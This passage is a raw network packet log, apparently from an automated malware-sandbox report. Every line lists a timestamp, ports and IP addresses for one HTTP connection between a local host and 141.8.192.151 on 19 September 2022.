Sep 19, 2022 22:37:05.296901941 CEST	80	49703	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:05.296926975 CEST	80	49703	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:05.296941996 CEST	49703	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:05.296951056 CEST	80	49703	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:05.296964884 CEST	49703	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:05.296984911 CEST	49703	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:05.297010899 CEST	80	49703	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:05.297038078 CEST	80	49703	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:05.297058105 CEST	49703	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:05.297064066 CEST	80	49703	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:05.297072887 CEST	49703	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:05.297091007 CEST	80	49703	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:05.297116041 CEST	49703	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:05.297144890 CEST	49703	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:05.297194004 CEST	80	49703	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:05.297221899 CEST	80	49703	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:05.297230959 CEST	49703	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:05.297267914 CEST	49703	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:05.297283888 CEST	80	49703	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:05.297328949 CEST	80	49703	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:05.297353983 CEST	49703	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:05.297369003 CEST	49703	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:05.297374964 CEST	80	49703	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:05.297420979 CEST	80	49703	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:05.297446012 CEST	80	49703	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:05.297447920 CEST	49703	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:05.297456026 CEST	49703	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:05.297471046 CEST	80	49703	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:05.297488928 CEST	49703	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:05.297508001 CEST	49703	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:05.297573090 CEST	80	49703	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:05.297615051 CEST	49703	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:05.297631025 CEST	80	49703	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:05.297656059 CEST	80	49703	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:05.297679901 CEST	49703	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:05.297682047 CEST	80	49703	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:05.297692060 CEST	49703	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:05.297722101 CEST	49703	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:05.297770023 CEST	80	49703	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:05.297795057 CEST	80	49703	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:05.297811985 CEST	49703	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:05.297823906 CEST	49703	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:05.297851086 CEST	80	49703	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:05.297889948 CEST	49703	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:05.297890902 CEST	80	49703	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:05.297934055 CEST	49703	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:05.297976971 CEST	80	49703	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:05.298001051 CEST	80	49703	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:05.298019886 CEST	49703	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:05.298026085 CEST	80	49703	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:05.298052073 CEST	49703	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:05.298052073 CEST	80	49703	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:05.298060894 CEST	49703	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:05.298079967 CEST	80	49703	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:05.298089981 CEST	49703	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:05.298105001 CEST	80	49703	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:05.298130035 CEST	80	49703	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:05.298129082 CEST	49703	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:05.298146963 CEST	49703	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:05.298156023 CEST	80	49703	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:05.298181057 CEST	80	49703	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:05.298191071 CEST	49703	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:05.298207045 CEST	80	49703	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:05.298211098 CEST	49703	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:05.298224926 CEST	49703	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:05.298249006 CEST	49703	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:05.298305988 CEST	80	49703	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:05.298330069 CEST	80	49703	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:05.298352957 CEST	80	49703	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:05.298352957 CEST	49703	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:05.298363924 CEST	49703	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:05.298374891 CEST	80	49703	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:05.298418045 CEST	49703	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:05.360435009 CEST	80	49703	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:05.360495090 CEST	49703	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:05.360538006 CEST	80	49703	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:05.360589981 CEST	49703	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:05.360627890 CEST	80	49703	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:05.360680103 CEST	80	49703	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:05.360688925 CEST	49703	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:05.360702991 CEST	80	49703	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:05.360722065 CEST	49703	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:05.360726118 CEST	80	49703	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:05.360749006 CEST	80	49703	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:05.360769987 CEST	80	49703	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:05.360790014 CEST	49703	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:05.360791922 CEST	80	49703	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:05.360795975 CEST	49703	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:05.360811949 CEST	49703	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:05.360814095 CEST	80	49703	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:05.360835075 CEST	80	49703	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:05.360835075 CEST	49703	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:05.360857010 CEST	49703	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:05.360858917 CEST	80	49703	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:05.360876083 CEST	49703	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:05.360881090 CEST	80	49703	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:05.360898972 CEST	49703	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:05.360903978 CEST	80	49703	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:05.360918045 CEST	49703	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:05.360927105 CEST	80	49703	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:05.360934973 CEST	49703	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:05.360948086 CEST	80	49703	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:05.360969067 CEST	49703	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:05.360970020 CEST	80	49703	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:05.360991001 CEST	80	49703	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:05.360991001 CEST	49703	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:05.361011982 CEST	80	49703	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:05.361017942 CEST	49703	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:05.361023903 CEST	49703	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:05.361047983 CEST	49703	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:05.361069918 CEST	80	49703	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:05.361093044 CEST	80	49703	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:05.361108065 CEST	49703	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:05.361114025 CEST	80	49703	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:05.361131907 CEST	49703	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:05.361138105 CEST	80	49703	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:05.361150980 CEST	49703	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:05.361202002 CEST	49703	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:05.361212015 CEST	80	49703	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:05.361233950 CEST	80	49703	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:05.361249924 CEST	49703	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:05.361255884 CEST	80	49703	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:05.361272097 CEST	49703	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:05.361290932 CEST	49703	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:05.361323118 CEST	80	49703	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:05.361345053 CEST	80	49703	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:05.361361980 CEST	49703	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:05.361377954 CEST	49703	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:05.361398935 CEST	80	49703	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:05.361422062 CEST	80	49703	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:05.361443043 CEST	80	49703	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:05.361449003 CEST	49703	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:05.361464977 CEST	80	49703	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:05.361474991 CEST	49703	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:05.361481905 CEST	49703	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:05.361490011 CEST	80	49703	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:05.361506939 CEST	49703	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:05.361526966 CEST	49703	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:05.361542940 CEST	80	49703	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:05.361582041 CEST	80	49703	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:05.361584902 CEST	49703	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:05.361603022 CEST	80	49703	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:05.361619949 CEST	49703	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:05.361625910 CEST	80	49703	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:05.361639977 CEST	49703	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:05.361648083 CEST	80	49703	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:05.361655951 CEST	49703	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:05.361670017 CEST	80	49703	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:05.361687899 CEST	49703	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:05.361712933 CEST	49703	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:05.361759901 CEST	80	49703	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:05.361788988 CEST	80	49703	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:05.361807108 CEST	80	49703	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:05.361828089 CEST	80	49703	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:05.361835003 CEST	49703	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:05.361850023 CEST	80	49703	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:05.361867905 CEST	49703	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:05.361871958 CEST	80	49703	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:05.361890078 CEST	49703	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:05.361895084 CEST	80	49703	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:05.361915112 CEST	49703	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:05.361917019 CEST	80	49703	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:05.361936092 CEST	49703	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:05.361938953 CEST	80	49703	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:05.361946106 CEST	49703	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:05.361962080 CEST	80	49703	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:05.361984015 CEST	80	49703	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:05.361984015 CEST	49703	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:05.362005949 CEST	49703	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:05.362008095 CEST	80	49703	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:05.362025976 CEST	49703	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:05.362030029 CEST	80	49703	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:05.362050056 CEST	49703	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:05.362052917 CEST	80	49703	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:05.362062931 CEST	49703	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:05.362075090 CEST	80	49703	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:05.362093925 CEST	49703	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:05.362096071 CEST	80	49703	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:05.362104893 CEST	49703	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:05.362118006 CEST	80	49703	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:05.362134933 CEST	49703	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:05.362166882 CEST	49703	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:05.362255096 CEST	80	49703	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:05.362272978 CEST	80	49703	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:05.362291098 CEST	80	49703	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:05.362308025 CEST	80	49703	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:05.362308025 CEST	49703	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:05.362313986 CEST	49703	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:05.362333059 CEST	49703	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:05.362346888 CEST	80	49703	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:05.362363100 CEST	49703	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:05.362365961 CEST	80	49703	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:05.362382889 CEST	80	49703	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:05.362384081 CEST	49703	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:05.362402916 CEST	49703	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:05.362412930 CEST	80	49703	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:05.362427950 CEST	49703	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:05.362442970 CEST	80	49703	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:05.362459898 CEST	80	49703	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:05.362459898 CEST	49703	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:05.362477064 CEST	80	49703	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:05.362485886 CEST	49703	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:05.362493992 CEST	49703	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:05.362498999 CEST	80	49703	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:05.362515926 CEST	80	49703	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:05.362521887 CEST	49703	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:05.362534046 CEST	80	49703	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:05.362535000 CEST	49703	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:05.362551928 CEST	80	49703	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:05.362554073 CEST	49703	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:05.362570047 CEST	80	49703	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:05.362579107 CEST	49703	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:05.362591982 CEST	49703	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:05.362613916 CEST	80	49703	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:05.362622976 CEST	49703	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:05.362632036 CEST	80	49703	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:05.362647057 CEST	49703	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:05.362649918 CEST	80	49703	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:05.362669945 CEST	80	49703	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:05.362673998 CEST	49703	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:05.362680912 CEST	49703	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:05.362688065 CEST	80	49703	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:05.362704992 CEST	80	49703	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:05.362709999 CEST	49703	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:05.362723112 CEST	80	49703	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:05.362730026 CEST	49703	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:05.362741947 CEST	80	49703	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:05.362744093 CEST	49703	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:05.362759113 CEST	80	49703	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:05.362766027 CEST	49703	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:05.362785101 CEST	49703	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:05.362812042 CEST	49703	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:05.362813950 CEST	80	49703	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:05.362832069 CEST	80	49703	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:05.362849951 CEST	49703	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:05.362875938 CEST	49703	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:05.362884045 CEST	80	49703	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:05.362901926 CEST	80	49703	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:05.362917900 CEST	80	49703	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:05.362921000 CEST	49703	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:05.362938881 CEST	49703	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:05.362948895 CEST	80	49703	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:05.362963915 CEST	49703	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:05.362967014 CEST	80	49703	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:05.362982988 CEST	80	49703	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:05.362989902 CEST	49703	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:05.363001108 CEST	80	49703	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:05.363001108 CEST	49703	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:05.363019943 CEST	80	49703	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:05.363023043 CEST	49703	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:05.363034010 CEST	49703	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:05.363038063 CEST	80	49703	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:05.363060951 CEST	49703	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:05.363084078 CEST	49703	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:05.363122940 CEST	80	49703	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:05.363138914 CEST	80	49703	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:05.363156080 CEST	80	49703	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:05.363159895 CEST	49703	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:05.363174915 CEST	80	49703	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:05.363176107 CEST	49703	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:05.363192081 CEST	80	49703	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:05.363195896 CEST	49703	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:05.363209963 CEST	80	49703	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:05.363213062 CEST	49703	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:05.363228083 CEST	80	49703	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:05.363229036 CEST	49703	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:05.363249063 CEST	49703	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:05.363260984 CEST	80	49703	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:05.363276958 CEST	49703	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:05.363277912 CEST	80	49703	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:05.363296032 CEST	80	49703	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:05.363303900 CEST	49703	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:05.363337994 CEST	80	49703	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:05.363356113 CEST	49703	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:05.363372087 CEST	49703	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:05.363385916 CEST	80	49703	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:05.363445044 CEST	49703	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:05.363451004 CEST	80	49703	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:05.363467932 CEST	80	49703	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:05.363487005 CEST	80	49703	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:05.363485098 CEST	49703	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:05.363503933 CEST	80	49703	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:05.363504887 CEST	49703	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:05.363522053 CEST	80	49703	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:05.363524914 CEST	49703	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:05.363540888 CEST	80	49703	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:05.363559008 CEST	80	49703	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:05.363559008 CEST	49703	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:05.363564968 CEST	49703	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:05.363575935 CEST	80	49703	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:05.363578081 CEST	49703	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:05.363599062 CEST	49703	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:05.363610983 CEST	49703	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:05.363619089 CEST	80	49703	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:05.363652945 CEST	49703	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:05.363660097 CEST	80	49703	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:05.363677025 CEST	80	49703	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:05.363707066 CEST	80	49703	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:05.363713026 CEST	49703	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:05.363722086 CEST	49703	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:05.363725901 CEST	80	49703	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:05.363738060 CEST	49703	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:05.363743067 CEST	80	49703	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:05.363764048 CEST	49703	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:05.363775015 CEST	80	49703	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:05.363779068 CEST	49703	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:05.363794088 CEST	80	49703	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:05.363811016 CEST	80	49703	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:05.363817930 CEST	49703	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:05.363827944 CEST	80	49703	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:05.363832951 CEST	49703	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:05.363847017 CEST	80	49703	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:05.363848925 CEST	49703	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:05.363863945 CEST	80	49703	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:05.363868952 CEST	49703	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:05.363886118 CEST	49703	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:05.363895893 CEST	80	49703	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:05.363898039 CEST	49703	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:05.363914013 CEST	80	49703	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:05.363931894 CEST	80	49703	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:05.363939047 CEST	49703	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:05.363949060 CEST	80	49703	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:05.363980055 CEST	49703	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:05.363995075 CEST	49703	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:05.364093065 CEST	80	49703	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:05.364139080 CEST	49703	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:05.364146948 CEST	80	49703	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:05.364165068 CEST	80	49703	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:05.364178896 CEST	49703	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:05.364185095 CEST	80	49703	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:05.364206076 CEST	80	49703	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:05.364211082 CEST	49703	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:05.364223957 CEST	80	49703	141.8.192.151	192.168.2.3
